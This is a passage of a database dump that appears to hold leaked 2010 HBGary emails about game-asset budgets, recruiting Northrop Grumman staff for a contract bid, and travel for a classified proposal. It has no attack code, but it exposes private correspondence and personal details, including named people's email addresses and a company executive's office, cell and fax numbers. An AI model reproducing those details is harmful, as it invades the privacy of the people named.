leadership position on this amazing team (you will be amazed at this team).  If I don\'t hear from you I will assume that I have missed my window and I will look elsewhere to fill the position.  If I do hear from you we can exchange documents and we do not need to really communicate past that unless you want to.  I am very sorry for your situation.  I won\'t send you another email after this one unless requested.\r\n>\r\n> Aaron it has been a pleasure to work with you, and I truly wish you the best.\r\n>\r\n> Aaron\r\n>\r\n> P.S.  Greg and I are working on a game that takes advantage of location, social, and virtual.  He has a developer and artist working some of the first pieces now.  Hopefully that will grow.  its a great concept.\r\n',12098,'aaron_hbgary_com/12098.html'),(11949,'2010-09-18','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008910.M79551P14101Q6802.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','need help with modeling speed expectations',' \r\nAaron, Bob,\r\n \r\nI am stressed a little bit because Mikiya is a bit slower than I expected he would be.  He will be taking many days to complete a 3-D model...  we won&#39;t finish if that is the case...\r\n \r\nHere is an email I wrote to him:\r\n \r\n---&gt; snip\r\nI have done some math.  With overhead, you cost me about $160/day.  I plan to spend about $20,000 on you over the first phase of this work.  You should put some thought into this - I think we need around 100 models.  This means that each model should cost about $200 dollars.  Obviously this is contrived - some models will take longer and some will be quick.  But, on average, that means you would need to produce a new model approximately 1 per day.  I know that you said 2 days for a character, and 5 days for the first house.  Can you explore this idea of doing 1 model per day - maybe by re-using basic components or by modifying an existing model you can get production up to 1 model per day?\r\n We probably need at least 50 house/building models - many will be variations of each other.  We will need about 20 characters all based on human but with differing outfits, height, weight, and such.  These character models will need 10 interchangeable hair styles, and at least 20 different costume sets - these hair and costume sets are just sub-models swappable on the character.  Finally, we need tiles for terrain.  We need a city tile set and a wilderness tile set - these should have around 6+ weldable tiles, some w/ roads and some without.  If you count all this up it should be around 100 models give or take.  If you could do one model per day it would be close...\r\n Please think about this.  There might be ways to make this work, but you can&#39;t build every model from scratch and take 3-4 days on each one if we are to make the deadline.  \r\n \r\n&lt;--- end snip\r\n \r\nDo you think my head is screwed on right, or that we just can&#39;t do this on the initial 50 grand budget?  I don&#39;t know how mikiya will respond to this 1 model per day request yet.  Also, do you think 100 models is reasonable, or do you think we can get by w/ less?  Or, do you think we need more than 100 models?\r\n\r\n \r\nAs you should be sensing, it is very important to me to stack the deck towards success, I don&#39;t want to waste $50k and have an incomplete project at the end we cannot demo...\r\n \r\n-Greg\r\n',11414,'aaron_hbgary_com/11414.html'),(11950,'2010-09-19','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297008911.M262236P14101Q6806.eml','\"MarkTrynor\" <mark@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Agency helps businesses navigate maze, land millions in government contracts | millions, government, contracts - Business - Colorado Springs Gazette, CO','http://www.gazette.com/articles/millions-104842-government-contracts.html\r\n\r\nWe need to check this out for HBGary and mark for the open source firm. \r\n',972,'aaron_hbgary_com/972.html'),(11951,'2010-09-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008911.M38009P14101Q6805.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: May have found some folks','fyi...Begin forwarded message:From: \"Daniel Collender\" &lt;dcollend@digitalglobe.com&gt;Date: September 2, 2010 7:08:18 PM EDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: May have found some folksHi Aaron,The basic skill set is as follows:Senior “Security conscious” Windows architect/implementation engineerDesirable Certifications:-	MCSE Security on Windows Server 2003-	S+/CISSP-	Microsoft Certified Architect (MCA) in Exchange Server/Directory/-	Microsoft Certified MasterTerm of Project &nbsp;- 3 to 6 months depending on scope of workKey Responsibilities – -	Architecting our future Windows environments and integration with MOSS 2010/Exchange 2010/SCCM/SCOM and other corporate Windows services-	Designing and implementing secure infrastructureSecret Security Clearance is desirableAbility to architect securely to defend against newer threats including APT\'s is desirableHope this helps.Best,Dan-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, September 02, 2010 8:14 AMTo: Daniel CollenderSubject: May have found some folksOld - S/MIME Signed: 9/2/2010 at 8:13:44 AMCan you refresh me on some of the details of what you are looking for within the senior windows security architect.Aaron* Aaron Barr &lt;aaron@hbgary.com&gt;* Issuer: \"VeriSign* Daniel Collender &lt;dcollend@digitalglobe.com&gt;* 0xE9377C7C(L)',5632,'aaron_hbgary_com/5632.html'),(11952,'2010-09-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008911.M521064P14101Q6807.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Re: scale and concept art (captains of industry)','ok Greg.  The 3-d modeler and graphics artist we had on our old team I think can blow this out of the water.  I forwarded on some of the specs and timing to them to see if they can beat it.  A few options here as far as pricing.  We could take a look at their stuff and bring their company in to do some work.  I think we can get them cheap because they want to build out a portfolio.  Right now Matt and Jeremiah have their own side company building CGI music videos for bands.  If we ever get our old work back we are going to hire these two directly to HBGary Federal.  Matt is a VW expert, also has won a couple of independent hollywood script contests.  Jeremiah is a phenomenal 3d modeler and animator.\r\n\r\nI\'ll see what they come back with.\r\n\r\nAaron\r\n\r\n\r\nOn Sep 18, 2010, at 2:03 PM, Greg Hoglund wrote:\r\n\r\n>  \r\n> See attached.\r\n>  \r\n> The basic house sketches are stone and wood and follow the art style used in torchlight.  The rustic looking wood houses would be for frontier areas.  The less rustic looking ones could be packed together in an urban environment.\r\n>  \r\n> The scale mockups show relative building sizes - this requires a bit more explanation.  In pic 1 you see a building scaled to about the size of the torchlight buildings seen in pic 2.  These buildings are too small to walk inside of if we use the WoW near-first-person camera system (the camera goes inside the building with you, this is how WoW works).  So, in pic 1, we show the building with the roof removed.  In that mode, you can now walk inside and there is enough room for a characters in the small building (as illustrated).  In pic 3 we have a building scaled to the size of WoW - you can see an actual WoW building in pic 5.  The WoW system lets you go inside a building but the camera also goes inside with you, you can see the character in pic 4 is inside the building with his back to the door and the camera is inside.\r\n>  \r\n> Mikiya and I looked at these for about an hour, testing camera angles and look/feel.  We concluded that the system with the removable roof (pic 1) would work best for Captains of Industry.  The reason is that buildings are a primary part of the game play, players want to see their buildings, and zoomed out at the level shown in torchlight (pic 2) they can easily see the entire building and also interact with it (click on it).  With the removable roof, we can still have NPC characters and player characters inside the building - expanding possibilities for game play.  If we went with the buildings being scaled as in WoW, the player would have to zoom much further out to see their buildings in this manner - this would cause the player character model to be very small on the screen, much much smaller than that shown in torchlight (pic 2).  The conclusion was that the character model would end up too small if we scaled to WoW proportions.\r\n>  \r\n> In case it isn\'t clear, the removable roof system means the roof becomes transparent if the character walks inside the building (raytrace from camera to toon intersects the roof (removeable mesh)) - the building looks normal when the character is not standing inside of it.  BTW, this is how Diablo III works with most of it\'s dungeons.\r\n>  \r\n> ok - enuf for now, I\'m going fishing....\r\n>  \r\n> -Greg \r\n> \r\n\r\n',15251,'aaron_hbgary_com/15251.html'),(11953,'2010-09-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008911.M742175P14101Q6808.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: need help with modeling speed expectations','Man Jeremiah I am pretty sure can blow this out.  Question is price but we might be able to work some things out to get them cheap.  They really want to build out their unclassified portfolio.\r\n\r\nAaron\r\n\r\n\r\nOn Sep 18, 2010, at 7:54 PM, Greg Hoglund wrote:\r\n\r\n>  \r\n> Aaron, Bob,\r\n>  \r\n> I am stressed a little bit because Mikiya is a bit slower than I expected he would be.  He will be taking many days to complete a 3-D model...  we won\'t finish if that is the case...\r\n>  \r\n> Here is an email I wrote to him:\r\n>  \r\n> ---> snip\r\n> I have done some math.  With overhead, you cost me about $160/day.  I plan to spend about $20,000 on you over the first phase of this work.  You should put some thought into this - I think we need around 100 models.  This means that each model should cost about $200 dollars.  Obviously this is contrived - some models will take longer and some will be quick.  But, on average, that means you would need to produce a new model approximately 1 per day.  I know that you said 2 days for a character, and 5 days for the first house.  Can you explore this idea of doing 1 model per day - maybe by re-using basic components or by modifying an existing model you can get production up to 1 model per day?\r\n>  \r\n> We probably need at least 50 house/building models - many will be variations of each other.  We will need about 20 characters all based on human but with differing outfits, height, weight, and such.  These character models will need 10 interchangeable hair styles, and at least 20 different costume sets - these hair and costume sets are just sub-models swappable on the character.  Finally, we need tiles for terrain.  We need a city tile set and a wilderness tile set - these should have around 6+ weldable tiles, some w/ roads and some without.  If you count all this up it should be around 100 models give or take.  If you could do one model per day it would be close...\r\n>  \r\n> Please think about this.  There might be ways to make this work, but you can\'t build every model from scratch and take 3-4 days on each one if we are to make the deadline. \r\n>  \r\n>   \r\n> Do you think my head is screwed on right, or that we just can\'t do this on the initial 50 grand budget?  I don\'t know how mikiya will respond to this 1 model per day request yet.  Also, do you think 100 models is reasonable, or do you think we can get by w/ less?  Or, do you think we need more than 100 models?\r\n>  \r\n> As you should be sensing, it is very important to me to stack the deck towards success, I don\'t want to waste $50k and have an incomplete project at the end we cannot demo...\r\n>  \r\n> -Greg\r\n\r\n',6065,'aaron_hbgary_com/6065.html'),(11954,'2010-09-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008912.M18177P14101Q6809.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Trip','So how long do I need to be there?\r\n\r\nAaron\r\n\r\n\r\n',1621,'aaron_hbgary_com/1621.html'),(11955,'2010-09-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008912.M254753P14101Q6810.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Wow','Yeah we need to talk. &nbsp;I have to fly to Cincinatti on Monday for a few days. &nbsp;Another note to follow to the broader group.AaronOn Sep 18, 2010, at 11:52 AM, Clair, Chris (TASC) wrote:\r\n\r\nAaron,\r\n\r\nI\'m working a scenario at TASC.&nbsp; Is there any way I hire them and we (both companies) use them part time for work?&nbsp; If I can cover them 50% we can hire knowing they will transition to ROMAS.&nbsp; Let\'s talk next week to develop some work out at the Springs.&nbsp; I don\'t want NC intimidation techniques to ruin the possibility of continuing the work.\r\n\r\nTawny is first on my list, but if we can get the whole or part of the team, I am all for it.\r\n\r\nLet me know what you think.&nbsp; I am available to talk Sunday afternoon if you like.\r\n\r\nChris&nbsp;&nbsp;\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Fri 9/17/2010 10:27 PM\r\nTo: Clair, Chris (TASC); Garcia, Kathy (TASC)\r\nSubject: Wow\r\n\r\nThe NG local leadership followed a few employees to lunch across the street.&nbsp; Those employees were meeting with Ted.&nbsp; When they got back they were lectured and harassed about talking with us, how that might be perceived.&nbsp; They know we are actively recruiting and they&nbsp; are using fear and intimidation on their employees.&nbsp; Unbelievable.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n',1518,'aaron_hbgary_com/1518.html'),(11956,'2010-09-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008912.M477310P14101Q6811.eml','\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>,\"Kathy Garcia\" <KATHERINE.GARCIA@tasc.com>,\"John Lovegrove\" <John.Lovegrove@tasc.com>,\"Al Pisani\" <albert.pisani@TASC.com>','COIN/Romas','New Twist.\r\n\r\nI spoke with the Branch Chief, John, this morning.  Things have changed.  They are going to now break out each of the 4 areas and release 4 RFPs.  Also HBGary Federal is being added directly to the bidders list.  I have to go into the office and sign some paperwork.  I don\'t think the last part really changes much from my perspective, but with the other news we need to sit down and talk this through.  The RFPs should be coming out in the next week or so.  I unfortunately will be in Cincinatti Mon-Thurs.  I can meet monday morning after I head in to see John and before the airport, or friday.\r\n\r\nWhen does this ride end?\r\n\r\nAaron\r\n\r\n\r\n',15105,'aaron_hbgary_com/15105.html'),(11957,'2010-09-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008913.M382940P14101Q6812.eml','\"Jason Mueller\" <jmueller2004@gmail.com>','Re: HBGary BlackHat Talk','Hey Jason,\r\n\r\nSorry I didn\'t get to this right away.\r\n\r\nCertainly,\r\nattached are the slides.\r\n\r\nTalk to you next week.\r\n\r\nWe are doing a lot in this area of attribution.\r\n\r\nAaron\r\n\r\n',6138,'aaron_hbgary_com/6138.html'),(11958,'2010-09-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008913.M755923P14101Q6813.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Hoglund Greg\" <greg@hbgary.com>','Fwd: need help with modeling speed expectations','Greg,Matt and Jeremiah worked for me at NG, they are incredibly talented. They started a 3D animation company and are working it on the side with permission from NG. They expressed interest in helping on this project on the cheap, if they can get credit and add it to their unclassified portfolio. See Matts email below. Would you like to set up a call Monday to discuss?\r\nTedBegin forwarded message:From: matt_furman2005@yahoo.com\r\nDate: September 18, 2010 9:41:33 PM MDTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Subject: Re: Fwd: need help with modeling speed expectations\r\nReply-To: matt_furman2005@yahoo.comTed - if 50K is your complete budget for this - I can show you how much u should be able to achieve and still come under that number as a final. I&#39;d like to hear more about platform, distro plan, and pre-development methods being employed. Is Mikiya the only modeler? What tiling method is he using? Are there any particle effects? Is the final game an rpg, an mmo, or a some type of scroller? Man, it sounds exciting, but I share Greg&#39;s concerns about building the game elements and NOT having it ina presentable form before your deadline. We should compare notes and discuss. Got some time on Monday?\r\nSent from my BlackBerry Smartphone provided by AlltelFrom:  Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: Sat, 18 Sep 2010 20:18:51 -0600To: Matt Furman&lt;matt_furman2005@yahoo.com&gt;Subject: Fwd: need help with modeling speed expectations\r\nBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nDate: September 18, 2010 5:59:35 PM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Fwd: need help with modeling speed expectations\r\n\r\nCan Jeremiah do better?Sent from my iPhoneBegin forwarded message:From: Greg Hoglund &lt;greg@hbgary.com&gt;\r\n\r\n\r\nDate: September 18, 2010 7:54:52 PM EDTTo: Bob Slapnik &lt;bob@hbgary.com&gt;, Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nSubject: need help with modeling speed expectations\r\n \r\nAaron, Bob,\r\n \r\nI am stressed a little bit because Mikiya is a bit slower than I expected he would be.  He will be taking many days to complete a 3-D model...  we won&#39;t finish if that is the case...\r\n \r\nHere is an email I wrote to him:\r\n \r\n---&gt; snip\r\nI have done some math.  With overhead, you cost me about $160/day.  I plan to spend about $20,000 on you over the first phase of this work.  You should put some thought into this - I think we need around 100 models.  This means that each model should cost about $200 dollars.  Obviously this is contrived - some models will take longer and some will be quick.  But, on average, that means you would need to produce a new model approximately 1 per day.  I know that you said 2 days for a character, and 5 days for the first house.  Can you explore this idea of doing 1 model per day - maybe by re-using basic components or by modifying an existing model you can get production up to 1 model per day?\r\n\r\n\r\n\r\n We probably need at least 50 house/building models - many will be variations of each other.  We will need about 20 characters all based on human but with differing outfits, height, weight, and such.  These character models will need 10 interchangeable hair styles, and at least 20 different costume sets - these hair and costume sets are just sub-models swappable on the character.  Finally, we need tiles for terrain.  We need a city tile set and a wilderness tile set - these should have around 6+ weldable tiles, some w/ roads and some without.  If you count all this up it should be around 100 models give or take.  If you could do one model per day it would be close...\r\n\r\n\r\n\r\n Please think about this.  There might be ways to make this work, but you can&#39;t build every model from scratch and take 3-4 days on each one if we are to make the deadline.  \r\n \r\n&lt;--- end snip\r\n \r\nDo you think my head is screwed on right, or that we just can&#39;t do this on the initial 50 grand budget?  I don&#39;t know how mikiya will respond to this 1 model per day request yet.  Also, do you think 100 models is reasonable, or do you think we can get by w/ less?  Or, do you think we need more than 100 models?\r\n\r\n\r\n\r\n\r\n \r\nAs you should be sensing, it is very important to me to stack the deck towards success, I don&#39;t want to waste $50k and have an incomplete project at the end we cannot demo...\r\n \r\n-Greg\r\n\r\n\r\n\r\n\r\n',2499,'aaron_hbgary_com/2499.html'),(11959,'2010-09-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008913.M995946P14101Q6814.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Hoglund Greg\" <greg@hbgary.com>','Fwd: need help with modeling speed expectations','Begin forwarded message:From: matt_furman2005@yahoo.com\r\nDate: September 18, 2010 11:02:00 PM MDTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Subject: Re: need help with modeling speed expectationsReply-To: matt_furman2005@yahoo.com\r\nMost models (like the ones we purchased) on turbosquid or creative crash are between 1 and 100 bucks - VERY cheap - especially the high-poly ones - everyone uses pre-consructed stuff today, unless they are big entertainment giants like ILM or DreamWorks. I believe the city model was about 60 bucks and the characters were about 15 or 20 each. One of the best decisions we ever made. :-)\r\nSent from my BlackBerry Smartphone provided by AlltelFrom:  Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: Sat, 18 Sep 2010 22:03:17 -0600To: matt_furman2005@yahoo.com&lt;matt_furman2005@yahoo.com&gt;\r\nSubject: Re: need help with modeling speed expectationsI&#39;ll try to set up a call For Monday. How much are the stock models we&#39;ve used at NG and then tweaked to suit our needs?\r\nOn Sep 18, 2010, at 9:41 PM, &quot;matt_furman2005@yahoo.com&quot; &lt;matt_furman2005@yahoo.com&gt; wrote:\r\n\r\nTed - if 50K is your complete budget for this - I can show you how much u should be able to achieve and still come under that number as a final. I&#39;d like to hear more about platform, distro plan, and pre-development methods being employed. Is Mikiya the only modeler? What tiling method is he using? Are there any particle effects? Is the final game an rpg, an mmo, or a some type of scroller? Man, it sounds exciting, but I share Greg&#39;s concerns about building the game elements and NOT having it ina presentable form before your deadline. We should compare notes and discuss. Got some time on Monday?\r\n\r\nSent from my BlackBerry Smartphone provided by AlltelFrom:  Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: Sat, 18 Sep 2010 20:18:51 -0600To: Matt Furman&lt;matt_furman2005@yahoo.com&gt;\r\nSubject: Fwd: need help with modeling speed expectations\r\nBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\nDate: September 18, 2010 5:59:35 PM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Fwd: need help with modeling speed expectations\r\n\r\n\r\nCan Jeremiah do better?Sent from my iPhoneBegin forwarded message:From: Greg Hoglund &lt;greg@hbgary.com&gt;\r\n\r\n\r\n\r\nDate: September 18, 2010 7:54:52 PM EDTTo: Bob Slapnik &lt;bob@hbgary.com&gt;, Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\nSubject: need help with modeling speed expectations\r\n \r\nAaron, Bob,\r\n \r\nI am stressed a little bit because Mikiya is a bit slower than I expected he would be.  He will be taking many days to complete a 3-D model...  we won&#39;t finish if that is the case...\r\n \r\nHere is an email I wrote to him:\r\n \r\n---&gt; snip\r\nI have done some math.  With overhead, you cost me about $160/day.  I plan to spend about $20,000 on you over the first phase of this work.  You should put some thought into this - I think we need around 100 models.  This means that each model should cost about $200 dollars.  Obviously this is contrived - some models will take longer and some will be quick.  But, on average, that means you would need to produce a new model approximately 1 per day.  I know that you said 2 days for a character, and 5 days for the first house.  Can you explore this idea of doing 1 model per day - maybe by re-using basic components or by modifying an existing model you can get production up to 1 model per day?\r\n\r\n\r\n\r\n\r\n We probably need at least 50 house/building models - many will be variations of each other.  We will need about 20 characters all based on human but with differing outfits, height, weight, and such.  These character models will need 10 interchangeable hair styles, and at least 20 different costume sets - these hair and costume sets are just sub-models swappable on the character.  Finally, we need tiles for terrain.  We need a city tile set and a wilderness tile set - these should have around 6+ weldable tiles, some w/ roads and some without.  If you count all this up it should be around 100 models give or take.  If you could do one model per day it would be close...\r\n\r\n\r\n\r\n\r\n Please think about this.  There might be ways to make this work, but you can&#39;t build every model from scratch and take 3-4 days on each one if we are to make the deadline.  \r\n \r\n&lt;--- end snip\r\n \r\nDo you think my head is screwed on right, or that we just can&#39;t do this on the initial 50 grand budget?  I don&#39;t know how mikiya will respond to this 1 model per day request yet.  Also, do you think 100 models is reasonable, or do you think we can get by w/ less?  Or, do you think we need more than 100 models?\r\n\r\n\r\n\r\n\r\n\r\n \r\nAs you should be sensing, it is very important to me to stack the deck towards success, I don&#39;t want to waste $50k and have an incomplete project at the end we cannot demo...\r\n \r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8642,'aaron_hbgary_com/8642.html'),(11960,'2010-09-19','\"Aaron Spring\" <aspring@springdesigngroup.com>','/aaron@hbgary.com/new/1297008914.M221474P14101Q6815.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Offer','  Aaron,\r\n\r\nYes, things at NG have become very stressful and it has definitely put \r\nme in an awkward position. Recently, my direct team mates have stolen \r\nthe spot light and my management has forced me to participate in their \r\nshenanigans. We have not been following employees to lunch. That whole \r\nscenario panned out because Nick and I went to the homebrew supply store \r\ndowntown, and then went to have lunch a block over at El Taco Rey. Our \r\nnew security officer was with us, and he was the one who made the stink. \r\nNeedless to say, it has been a real joy over the last few months.\r\n\r\nAs I mentioned before, I am interested in joining your team and am very \r\ninterested in seeing what your contingent offer includes. I am very \r\ndedicated to this mission, and would like to continue working it from \r\nboth an operational and management perspective. I would really enjoy \r\nworking with Ted and yourself again as well.\r\n\r\nRight now, I\'m taking an extended weekend and will not be returning to \r\nthe office until Tuesday. Please email me the appropriate paperwork on \r\nMonday, and I\'ll get you response as soon as I can.\r\n\r\nThanks again!\r\n\r\nAaron\r\n\r\n\r\n\r\nOn 9/17/2010 8:36 PM, Aaron Barr wrote:\r\n> Aaron,\r\n>\r\n> There is unfortunately in this circumstance no better way that I can do this.  I know your in a tough spot, you all are.  Your leadership has taken the fear and intimidation route instead of using better leadership through innovation and inspiration.  I know we spoke a while back and you were on board, we have delayed in getting out offer letters waiting for the RFP and negotiating with the prime when and who to hire, the proposal is now imminent.  Please know that none of the customer will question your loyalty to the mission if you sign a contingent offer, in fact it shows that no matter what you are trying to take care of yourself and want to stay with this mission.  Government is not wedded to any specific company just a capability and your overall capability has been sagging.  John doesn\'t care if you sign contingent offers with other teams, what he would not want you to do was do something that was detrimental to the mission, like what your current leadership is doing by using fear and intimidation.  Your upper management knows how this drill works if your current ignorant local management doesn\'t.  You always try to recruit key personnel form the incumbent to lower risk.  Kathy and Dale have done that a 100 times.  Your management is using fear and intimidation to try and keep people form talking with us and it is just sickening.  Is SAIC/NG that insecure in their offering that is what they have to resort to?  Following people to lunch, as if those people have no right to talk with me or Ted!  It makes me very angry the position they are putting you all in.  Bottom line I am going to win this contract and if you had a chance to see my team and strategy you would agree.  Remember its not about size, its about innovation and focus on delivering the best capability for the customer.\r\n>\r\n> You know me, you know what I am capable of, you also know your current team and its position with the customer.  I can only imagine what they might tell you.  I am not sure if you are aware but I have my badge back and speak with the customer regularly.  I feel confident I know better than anyone how to make their mission more successful and how to tell that story in the proposal.\r\n>\r\n> It is your choice.  If you are still interested I will have a confidentiality agreement and contingent offer in your inbox by monday.  This will secure you a leadership position on this amazing team (you will be amazed at this team).  If I don\'t hear from you I will assume that I have missed my window and I will look elsewhere to fill the position.  If I do hear from you we can exchange documents and we do not need to really communicate past that unless you want to.  I am very sorry for your situation.  I won\'t send you another email after this one unless requested.\r\n>\r\n> Aaron it has been a pleasure to work with you, and I truly wish you the best.\r\n>\r\n> Aaron\r\n>\r\n> P.S.  Greg and I are working on a game that takes advantage of location, social, and virtual.  He has a developer and artist working some of the first pieces now.  Hopefully that will grow.  its a great concept.\r\n\r\n\r\n',4737,'aaron_hbgary_com/4737.html'),(11961,'2010-09-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008914.M447381P14101Q6816.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Offer','Sent from my iPadBegin forwarded message:From: Aaron Spring &lt;aspring@springdesigngroup.com&gt;\r\nDate: September 19, 2010 1:15:56 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: OfferReply-To: aspring@springdesigngroup.com\r\n Aaron,Yes, things at NG have become very stressful and it has definitely put me in an awkward position. Recently, my direct team mates have stolen the spot light and my management has forced me to participate in their shenanigans. We have not been following employees to lunch. That whole scenario panned out because Nick and I went to the homebrew supply store downtown, and then went to have lunch a block over at El Taco Rey. Our new security officer was with us, and he was the one who made the stink. Needless to say, it has been a real joy over the last few months.\r\nAs I mentioned before, I am interested in joining your team and am very interested in seeing what your contingent offer includes. I am very dedicated to this mission, and would like to continue working it from both an operational and management perspective. I would really enjoy working with Ted and yourself again as well.\r\nRight now, I&#39;m taking an extended weekend and will not be returning to the office until Tuesday. Please email me the appropriate paperwork on Monday, and I&#39;ll get you response as soon as I can.\r\nThanks again!AaronOn 9/17/2010 8:36 PM, Aaron Barr wrote:Aaron,\r\nThere is unfortunately in this circumstance no better way that I can do this.  I know your in a tough spot, you all are.  Your leadership has taken the fear and intimidation route instead of using better leadership through innovation and inspiration.  I know we spoke a while back and you were on board, we have delayed in getting out offer letters waiting for the RFP and negotiating with the prime when and who to hire, the proposal is now imminent.  Please know that none of the customer will question your loyalty to the mission if you sign a contingent offer, in fact it shows that no matter what you are trying to take care of yourself and want to stay with this mission.  Government is not wedded to any specific company just a capability and your overall capability has been sagging.  John doesn&#39;t care if you sign contingent offers with other teams, what he would not want you to do was do something that was detrimental to the mission, like what your current leadership is doing by using fear and intimidation.  Your upper management knows how this drill works if your current ignorant local management doesn&#39;t.  You always try to recruit key personnel form the incumbent to lower risk.  Kathy and Dale have done that a 100 times.  Your management is using fear and intimidation to try and keep people form talking with us and it is just sickening.  Is SAIC/NG that insecure in their offering that is what they have to resort to?  Following people to lunch, as if those people have no right to talk with me or Ted!  It makes me very angry the position they are putting you all in.  Bottom line I am going to win this contract and if you had a chance to see my team and strategy you would agree.  Remember its not about size, its about innovation and focus on delivering the best capability for the customer.\r\nYou know me, you know what I am capable of, you also know your current team and its position with the customer.  I can only imagine what they might tell you.  I am not sure if you are aware but I have my badge back and speak with the customer regularly.  I feel confident I know better than anyone how to make their mission more successful and how to tell that story in the proposal.\r\nIt is your choice.  If you are still interested I will have a confidentiality agreement and contingent offer in your inbox by monday.  This will secure you a leadership position on this amazing team (you will be amazed at this team).  If I don&#39;t hear from you I will assume that I have missed my window and I will look elsewhere to fill the position.  If I do hear from you we can exchange documents and we do not need to really communicate past that unless you want to.  I am very sorry for your situation.  I won&#39;t send you another email after this one unless requested.\r\nAaron it has been a pleasure to work with you, and I truly wish you the best.\r\nAaronP.S.  Greg and I are working on a game that takes advantage of location, social, and virtual.  He has a developer and artist working some of the first pieces now.  Hopefully that will grow.  its a great concept.\r\n\r\n',7392,'aaron_hbgary_com/7392.html'),(11962,'2010-09-19','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297008914.M642828P14101Q6817.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Trip','Hey Aaron,\r\nWithout seeing the SOW til tomorrow, tough call.  I would plan on coming out \r\nfirst thing Tuesday and leave mid-day Thursday.  Will depend on what is in the \r\nSOW tomorrow.\r\n\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Saturday, September 18, 2010 11:07 PM\r\nTo: Masterson, Brian M (XETRON)\r\nSubject: EXTERNAL:Trip\r\n\r\nSo how long do I need to be there?\r\n\r\nAaron\r\n\r\n\r\n',11179,'aaron_hbgary_com/11179.html'),(11963,'2010-09-19','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297008914.M871325P14101Q6818.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Selection to Submit Response for UNO Green Eggs MS13','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI just noticed, this thing is\r\ndue Friday and not the following Monday.&nbsp; \r\n\r\n&nbsp;\r\n\r\nBrian\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Britton, Douglas C\r\n[mailto:douglas.c.britton@lmco.com] \r\nSent: Friday, September 17, 2010 3:15 PM\r\nTo: Lentz, Jason M; Racz, James M\r\nSubject: Selection to Submit Response for UNO Green Eggs MS13\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations, \r\n\r\nYou have been selected to submit a response for Green Eggs,\r\nMitigation Study 13.&nbsp; \r\n\r\n&nbsp;\r\n\r\nNavigating some security checks took longer than\r\nexpected.&nbsp; We will send the classified SOWs on Monday.&nbsp; You will have\r\nuntil COB Friday to submit your responses.&nbsp; On Monday, we&#8217;ll send out the\r\ncomplete submission instructions.\r\n\r\n&nbsp;\r\n\r\nPlease respond to this with a security POC for the fax on\r\nMonday\r\n\r\nName:\r\n\r\nEmail:\r\n\r\nSecure Fax:\r\n\r\nUnsecure voice:\r\n\r\n&nbsp;\r\n\r\nI&#8217;ll send all of the security people a meeting invite for\r\nthe time that I&#8217;ll be faxing to them, just to minimize everyone&#8217;s 